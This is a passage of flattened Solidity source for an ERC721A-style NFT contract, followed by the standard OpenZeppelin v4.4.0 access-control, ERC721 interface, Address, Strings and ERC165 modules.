{IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "ERC721A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex && tokenId > 0; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner"); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership(ownership.addr, ownership.startTimestamp); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; }
